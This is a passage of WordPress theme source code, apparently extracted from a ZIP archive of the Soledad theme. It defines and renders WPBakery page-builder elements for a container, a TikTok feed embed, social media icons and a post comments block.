			'heading' => esc_html__( 'Extra class name', 'js_composer' ),
			'param_name' => 'el_class',
			'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
		),
		array(
			'type' => 'css_editor',
			'heading' => esc_html__( 'CSS box', 'js_composer' ),
			'param_name' => 'css',
			'group' => esc_html__( 'Design Options', 'js_composer' ),
		),
		penci_get_vc_responsive_spacing_map(),
	),
	'js_view'                 => 'VcPenciContainerView',
	'default_content'         => '[penci_column width="11"][/penci_column]',
) );
PK     0w\:Ҷ    -  js_composer/shortcodes/container/frontend.phpnu [        <?php
$el_class          = $el_width = $columns_placement = $container_layout = '';
$content_placement = $css = $el_id = $css_animation = '';
$disable_element   = $ctsidebar_mb = $el_enable_sticky = '';
$output          = $after_output = '';
$atts            = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

Penci_Global_Data_Blocks::set_data_row( $container_layout );

wp_enqueue_script( 'wpb_composer_front_js' );

$el_class = $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_classes = array(
	'penci-vc-container',
	$el_class,
	vc_shortcode_custom_css_class( $css ),
);

if ( ! empty( $container_layout ) ) {
	$css_classes[] = 'layout-' . $container_layout;

	if( in_array( $container_layout, array( '13_23','23_13','14_12_14','12_14_14','14_14_12' ) ) ) {
		$css_classes[] = 'penci-vc-dis-padding';
	}
}

if ( ! empty( $el_width ) ) {
	$css_classes[] = 'vc-penci-' . $el_width;
}
if ( ! empty( $ctsidebar_mb ) ) {
	$css_classes[] = 'penci-' . $ctsidebar_mb;
}

if ( 'yes' == $el_enable_sticky ) {
	$css_classes[] = 'penci-vc-sticky-sidebar';
}

$wrapper_attributes = array();
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}

$css_class            = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( array_unique( $css_classes ) ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';

$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '><div class="penci-vc-row">';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div></div>';
$output .= $after_output;

// @codingStandardsIgnoreLine
echo $output;

Penci_Global_Data_Blocks::reset_data_row();
PK     0w\    5  js_composer/shortcodes/tiktok_embed_feed/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_tiktok_embed_feed',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/tiktok_embed_feed/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'TikTok Embed Feed', 'soledad' ),
	'description'   => __( 'Show recent feed of your TikTok', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'        => 'textfield',
			'heading'     => __( 'Username', 'soledad' ),
			'param_name'  => 'username',
			'value'       => '',
			'admin_label' => true,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'heading'    => __( 'Width', 'soledad' ),
			'param_name' => 'width',
			'value'      => '',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Content Text Horizontal Position', 'soledad' ),
			'param_name' => 'content_horizontal_position',
			'value'      => array(
				'Left'   => 'margin-right: auto',
				'Center' => 'margin-left: auto; margin-right: auto;',
				'Right'  => 'margin-left: auto',
			),
		),
	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\]    5  js_composer/shortcodes/tiktok_embed_feed/frontend.phpnu [        <?php
$settings = vc_map_get_attributes( $this->getShortcode(), $atts );
$username = $settings['username'] ? $settings['username'] : '';
wp_enqueue_script( 'penci_tiktok_embed' );
$id_tiktok = Penci_Vc_Helper::get_unique_id_block( 'penci_tiktok_feed' );
?>
    <div id="<?php echo $id_tiktok; ?>" class="pc-tiktok-embed-feed-el">
		<?php
		Penci_Vc_Helper::markup_block_title( $atts );
		if ( $username ) {
			wp_enqueue_script( 'penci_tiktok_embed' );
			?>
            <blockquote class="tiktok-embed" cite="https://www.tiktok.com/@<?php echo esc_attr( $username ); ?>"
                        data-unique-id="<?php echo esc_attr( $username ); ?>"
                        data-embed-type="creator"
                        style="width: 100%;">
                <section><a target="_blank"
                            href="https://www.tiktok.com/@<?php echo esc_attr( $username ); ?>">@<?php echo esc_attr( $username ); ?></a>
                </section>
            </blockquote>
			<?php
		} else {
			_e( 'Please enter your Tiktok username', 'soledad' );
		}
		?>
    </div>
<?php
$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_tiktok, $atts );

if ( $atts['width'] ) {
	$css_custom = penci_extract_md_responsive_fsize( $id_tiktok . ' .tiktok-embed{max-width:{{VALUE}}px}', $atts['width'] );
}

if ( $atts['content_horizontal_position'] ) {
	$css_custom = $id_tiktok . ' .tiktok-embed{' . $atts['content_horizontal_position'] . '}';
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\LZ"  Z"  0  js_composer/shortcodes/social_media/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_social_media',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/social_media/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Social Media', 'soledad' ),
	'description'   => __( 'Social Media Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
	//Penci_Vc_Params_Helper::params_container_width(),
		array(
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Display Social Text on Right Icons', 'soledad' ),
				'param_name'  => 'text_right',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
			),
			array(
				'type'        => 'dropdown',
				'heading'     => __( 'Alignment', 'soledad' ),
				'param_name'  => 'alignment',
				'std'         => 'pc_alignleft',
				'value'       => array(
					__( 'Center', 'soledad' ) => 'pc_aligncenter',
					__( 'Left', 'soledad' )   => 'pc_alignleft',
					__( 'Right', 'soledad' )  => 'pc_alignright',
				),
				'description' => __( 'This option only apply when you hide text on the right side of social icons', 'soledad' )
			),
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Remove Border Around Icons ?', 'soledad' ),
				'param_name'  => 'dis_circle',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
			),
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Remove Border Radius on Border of Icons ?', 'soledad' ),
				'param_name'  => 'dis_border_radius',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
			),
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Use Brand Colors for Social Icons ?', 'soledad' ),
				'param_name'  => 'brand_color',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'size_icon',
				'heading'          => __( 'Custom Font Size for Icons', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Disable Uppercase Text on Right Icons ?', 'soledad' ),
				'param_name'  => 'size_upper',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'size_text',
				'heading'          => __( 'Custom Font Size for Text on Right Icons', 'soledad' ),
				'value'            => '',
				'std'              => '',
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),

			// Tab social
			array(
				'param_name'  => 'custom_markup_1',
				'type'        => 'custom_markup',
				'description' => esc_html__( 'Note: You can setup the URL for each social media icon via Appearance > Customizer > Social Media', 'soledad' ),
				'group'       => 'Socials'
			),
			array(
				'type'             => "checkbox",
				'heading'          => ' ',
				'edit_field_class' => 'penci-show-social',
				'param_name'       => 'show_socials',
				'std'              => 'facebook,twitter,instagram,pinterest',
				'value'            => array(
					'Show facebook'       => 'facebook',
					'Show twitter'        => 'twitter',
					'Show instagram'      => 'instagram',
					'Show pinterest'      => 'pinterest',
					'Show linkedin'       => 'linkedin',
					'Show behance'        => 'behance',
					'Show flickr'         => 'flickr',
					'Show tumblr'         => 'tumblr',
					'Show youtube'        => 'youtube',
					'Show email'          => 'email',
					'Show vk'             => 'vk',
					'Show bloglovin'      => 'bloglovin',
					'Show vine'           => 'vine',
					'Show soundcloud'     => 'soundcloud',
					'Show snapchat'       => 'snapchat',
					'Show spotify'        => 'spotify',
					'Show github'         => 'github',
					'Show stack overflow' => 'stack-overflow',
					'Show twitch'         => 'twitch',
					'Show vimeo'          => 'vimeo',
					'Show steam'          => 'steam',
					'Show xing'           => 'xing',
					'Show whatsapp'       => 'whatsapp',
					'Show telegram'       => 'telegram',
					'Show reddit'         => 'reddit',
					'Show ok'             => 'ok',
					'Show 500px'          => '500px',
					'Show stumbleupon'    => 'stumbleupon',
					'Show wechat'         => 'wechat',
					'Show weibo'          => 'weibo',
					'Show line'           => 'line',
					'Show viber'          => 'viber',
					'Show discord'        => 'discord',
					'Show rss'            => 'rss',
					'Show Slack'          => 'slack',
					'Show Mixcloud'       => 'mixcloud',
					'Show Goodreads'      => 'goodreads',
					'Show Tripadvisor'    => 'tripadvisor',
					'Show Tiktok'         => 'tiktok',
					'Show dailymotion'    => 'dailymotion',
					'Show blogger'        => 'blogger',
					'Show delicious'      => 'delicious',
					'Show deviantart'     => 'deviantart',
					'Show digg'           => 'digg',
					'Show evernote'       => 'evernote',
					'Show forrst'         => 'forrst',
					'Show grooveshark'    => 'grooveshark',
					'Show lastfm'         => 'lastfm',
					'Show myspace'        => 'myspace',
					'Show paypal'         => 'paypal',
					'Show skype'          => 'skype',
					'Show window'         => 'window',
					'Show wordPress'      => 'wordPress',
					'Show yahoo'          => 'yahoo',
					'Show yandex'         => 'yandex',
					'Show Douban'         => 'douban',
					'Show Threads'        => 'threads',
					'Show Yelp'           => 'yelp',
					'Show QQ'             => 'qq',
				),
				'group'            => 'Socials'
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_social_media_settings',
				'heading'          => esc_html__( 'Social Media', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icons Color', 'soledad' ),
				'param_name'       => 'social_text_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icons Hover Color', 'soledad' ),
				'param_name'       => 'social_text_hcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icons Border Color', 'soledad' ),
				'param_name'       => 'social_bodcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icons Border Hover Color', 'soledad' ),
				'param_name'       => 'social_hbodcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icons Background Color', 'soledad' ),
				'param_name'       => 'social_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icons Hover Background Color', 'soledad' ),
				'param_name'       => 'social_bghcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Text Color', 'soledad' ),
				'param_name'       => 'social_textcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Text Hover Color', 'soledad' ),
				'param_name'       => 'social_htextcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			)
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     0w\E/    0  js_composer/shortcodes/social_media/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = '';

$text_right = $alignment = $dis_circle = $dis_border_radius = $brand_color = $responsive_spacing = '';
$size_icon = $size_upper = $size_text = $show_socials = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

if( ! $show_socials ) {
	return;
}

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-social-media';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id = Penci_Vc_Helper::get_unique_id_block( 'social_media' );

$class_socials = ' widget-social';
$class_socials .= $alignment ? ' ' . $alignment : '';
$class_socials .= $text_right ? ' show-text' : '';
$class_socials .= 'yes' == $dis_circle ? ' remove-circle' : '';
$class_socials .= 'yes' == $size_upper ? ' remove-uppercase-text' : '';
$class_socials .= 'yes' == $dis_border_radius ? ' remove-border-radius' : '';

if ( 'yes' == $brand_color && ! 'yes' == $dis_circle ) {
	$class_socials .= ' penci-social-colored';
} elseif ( 'yes' == $brand_color && 'yes' == $dis_circle ) {
	$class_socials .= ' penci-social-textcolored';
}

$style_icon     = 'style="font-size: ' . $size_icon . '"';
$style_icon_svg = 'style="width: ' . $size_icon . 'px;height: auto;"';
$style_text     = 'style="font-size: ' . $size_text . '"';

?>
	<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
		<div class="penci-block_content<?php echo esc_attr( $class_socials ); ?>">
			<?php 
			$show_socials_array = explode(',', $show_socials );
			$social_data = penci_social_media_array();
			foreach( $social_data as $name => $sdata ){
				if( in_array( $name, $show_socials_array ) ){
					$icon_html = penci_icon_by_ver( $sdata[1], $style_icon );
					?>
					<a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>" aria-label="<?php echo ucwords( $name ); ?>" <?php echo penci_reltag_social_icons(); ?> target="_blank"><?php echo $icon_html; ?><span <?php echo $style_text; ?>><?php echo ucwords( $name ); ?></span></a>
					<?php
				}
			}
			?>
		</div>
	</div>
<?php

$id_social_media = '#' . $block_id;
$id_social_media2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_social_media, $atts );

if ( $atts['size_icon'] ) {
	$css_custom .= $id_social_media . ' .widget-social i{ font-size:' . esc_attr( $atts['size_icon'] ) . ' !important; }';
}
if ( $atts['size_icon'] ) {
	$css_custom .= $id_social_media . ' .widget-social svg{ width:' . esc_attr( $atts['size_icon'] ) . ' !important; height: auto; }';
}

// Color
if ( $atts['social_text_color'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social a i{ color: ' . esc_attr( $atts['social_text_color'] ) . '; }';
}
if ( $atts['social_text_hcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social a:hover i{ color: ' . esc_attr( $atts['social_text_hcolor'] ) . '; }';
}
if ( $atts['social_bodcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social a i{ border-color: ' . esc_attr( $atts['social_bodcolor'] ) . '; }';
}
if ( $atts['social_hbodcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social a:hover i{ border-color: ' . esc_attr( $atts['social_hbodcolor'] ) . '; }';
}
if ( $atts['social_bgcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social a i{ background-color: ' . esc_attr( $atts['social_bgcolor'] ) . '; }';
}
if ( $atts['social_bghcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social a:hover i{ background-color: ' . esc_attr( $atts['social_bghcolor'] ) . '; }';
}
if ( $atts['social_textcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social.show-text a span{ color: ' . esc_attr( $atts['social_textcolor'] ) . '; }';
}
if ( $atts['social_htextcolor'] ) {
	$css_custom .= $id_social_media2 . ' .widget-social.show-text a:hover span{ color: ' . esc_attr( $atts['social_htextcolor'] ) . '; }';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_social_media, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\/Md='  ='  6  js_composer/shortcodes/pc_single_comments/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_comments",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_comments/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Comments', 'soledad' ),
	'description'   => 'Post Builder - Comments',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Move Comment Form to Above the List Comments', 'soledad' ),
			'param_name'       => 'penci_post_move_comment_box',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Comment Date', 'soledad' ),
			'param_name'       => 'hcomment_date',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove Lines on The Block Heading', 'soledad' ),
			'param_name'       => 'comment_rheading_lcolor',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide "Name" field on Comment Form', 'soledad' ),
			'param_name'       => 'penci_single_comments_remove_name',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide "Email" field on Comment Form', 'soledad' ),
			'param_name'       => 'penci_single_comments_remove_email',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide "Website" field on Comment Form', 'soledad' ),
			'param_name'       => 'penci_single_comments_remove_website',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove checkbox "Save my name, email, and website in this browser for the next time I comment."', 'soledad' ),
			'param_name'       => 'penci_single_hide_save_fields',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Enable GDPR message on Comment Form', 'soledad' ),
			'param_name'       => 'penci_single_gdpr',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Custom GDPR Message on Comment Form', 'soledad' ),
			'param_name'       => 'penci_single_gdpr_text',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Submit Button Align', 'soledad' ),
			'param_name'       => 'submit_btn_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_cmlists',
			'heading'          => esc_html__( 'Comment Lists', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Title Color', 'soledad' ),
			'param_name'       => 'comment_heading_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Title Lines Color', 'soledad' ),
			'param_name'       => 'comment_heading_lcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Avatar Width', 'soledad' ),
			'param_name'       => 'author_ava_width',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Avatar Borders Radius', 'soledad' ),
			'param_name'       => 'author_ava_boderradius',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Name Color', 'soledad' ),
			'param_name'       => 'comment_name_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Name Hover Color', 'soledad' ),
			'param_name'       => 'comment_name_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Comment Date Color', 'soledad' ),
			'param_name'       => 'comment_date_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Comment Date Icon Color', 'soledad' ),
			'param_name'       => 'comment_date_icolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Comment Content', 'soledad' ),
			'param_name'       => 'comment_content_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Reply Button Color', 'soledad' ),
			'param_name'       => 'comment_reply_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Reply Button Hover Color', 'soledad' ),
			'param_name'       => 'comment_reply_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'General Borders Color', 'soledad' ),
			'param_name'       => 'comment_item_bcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Comments List Spacing Top', 'soledad' ),
			'param_name'       => 'comment_list_spacingt',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_cmform',
			'heading'          => esc_html__( 'Comment Form', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Title Color', 'soledad' ),
			'param_name'       => 'commentf_heading_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Title Line Color', 'soledad' ),
			'param_name'       => 'commentf_heading_lcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Input Text Color', 'soledad' ),
			'param_name'       => 'commentf_input_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Input Border Color', 'soledad' ),
			'param_name'       => 'commentf_input_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Submit Background Color', 'soledad' ),
			'param_name'       => 'commentf_submit_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Submit Background Hover Color', 'soledad' ),
			'param_name'       => 'commentf_submit_bg_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Submit Text Color', 'soledad' ),
			'param_name'       => 'commentf_submit_txt_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Submit Text Hover Color', 'soledad' ),
			'param_name'       => 'commentf_submit_txt_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Cookie Save Notice Color', 'soledad' ),
			'param_name'       => 'commentf_cookies_notice_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'GDPR Message Color', 'soledad' ),
			'param_name'       => 'commentf_gdpr_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\y,    6  js_composer/shortcodes/pc_single_comments/frontend.phpnu [        <?php
$settings   = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'pc_single_comments' );
$css_class  = vc_shortcode_custom_css_class( $settings['css'] );
$css_custom = '';
$mods       = [
	'penci_single_gdpr_text',
	'penci_single_gdpr',
	'penci_single_hide_save_fields',
	'penci_post_move_comment_box',
	'penci_single_comments_remove_name',
	'penci_single_comments_remove_email',
	'penci_single_comments_remove_website'
];
foreach ( $mods as $mod ) {
	$value = $settings[ $mod ];
	add_filter( 'theme_mod_' . $mod, function () use ( $value ) {
		return penci_switch_value( $value );
	} );
}
$class = $settings['penci_post_move_comment_box'] ? 'move-top' : 'normal';
echo '<div id="' . $block_id . '" class="pc-cscomments ' . $class . ' ' . $css_class . '">';
comments_template();
echo '</div>';
$block_id = '#' . $block_id;
if ( $settings['comment_rheading_lcolor'] ) {
	$css_custom .= $block_id . ' .post-box-title:before,' . $block_id . ' .post-box-title:after,' . $block_id . ' #respond h3.comment-reply-title span:before,' . $block_id . ' #respond h3.comment-reply-title span:after{display:none;}';
}
if ( $settings['submit_btn_align'] ) {
	$css_custom .= $block_id . ' #respond p.form-submit{text-align:' . $settings['submit_btn_align'] . ';}';
}
if ( $settings['comment_heading_color'] ) {
	$css_custom .= $block_id . ' .post-box-title{color:' . $settings['comment_heading_lcolor'] . ';}';
}
if ( $settings['author_ava_width'] ) {
	$css_custom .= $block_id . ' .thecomment .author-img{width:' . $settings['author_ava_width'] . 'px;}';
	$css_custom .= $block_id . ' .thecomment .comment-text{margin-left:' . ( $settings['author_ava_width'] + 20 ) . 'px;}';
}
if ( $settings['author_ava_boderradius'] ) {
	$css_custom .= $block_id . ' .thecomment .author-img{border-radius:' . $settings['author_ava_boderradius'] . ';}';
}
if ( $settings['comment_name_color'] ) {
	$css_custom .= $block_id . ' .thecomment .comment-text span.author, ' . $block_id . ' .thecomment .comment-text span.author a{color:' . $settings['comment_name_color'] . ';}';
}
if ( $settings['comment_name_hcolor'] ) {
	$css_custom .= $block_id . ' .thecomment .comment-text span.author a:hover{color:' . $settings['comment_name_hcolor'] . ';}';
}
if ( $settings['comment_date_color'] ) {
	$css_custom .= $block_id . ' .thecomment .comment-text span.date{color:' . $settings['comment_date_color'] . ';}';
}
if ( $settings['comment_date_icolor'] ) {
	$css_custom .= $block_id . ' .thecomment .comment-text span.date i{color:' . $settings['comment_date_icolor'] . ';}';
}
if ( $settings['comment_content_color'] ) {
	$css_custom .= $block_id . ' .thecomment .comment-content{color:' . $settings['comment_content_color'] . ';}';
}
if ( $settings['comment_reply_color'] ) {
	$css_custom .= $block_id . ' .post-comments span.reply a,' . $block_id . ' #respond h3 small a{color:' . $settings['comment_reply_color'] . ';}';
}
if ( $settings['comment_reply_hcolor'] ) {
	$css_custom .= $block_id . ' .post-comments span.reply a:hover,' . $block_id . ' #respond h3 small a:hover{color:' . $settings['comment_reply_hcolor'] . ';}';
}
if ( $settings['comment_item_bcolor'] ) {
	$css_custom .= $block_id . ' .comments .comment,' . $block_id . ' .pc-cscomments.move-top .post-title-box,' . $block_id . ' #respond h3{border-color:' . $settings['comment_item_bcolor'] . ';}';
}
if ( $settings['commentf_heading_color'] ) {
	$css_custom .= $block_id . ' #respond h3.comment-reply-title span{color:' . $settings['commentf_heading_color'] . ';}';
}
if ( $settings['commentf_input_text_color'] ) {
	$css_custom .= $block_id . ' #respond textarea, {{WRAPPER}} #respond input{color:' . $settings['commentf_input_text_color'] . ';}';
	$css_custom .= $block_id . ' #respond ::placeholder{color:' . $settings['commentf_input_text_color'] . ';}';
}
if ( $settings['commentf_input_border_color'] ) {
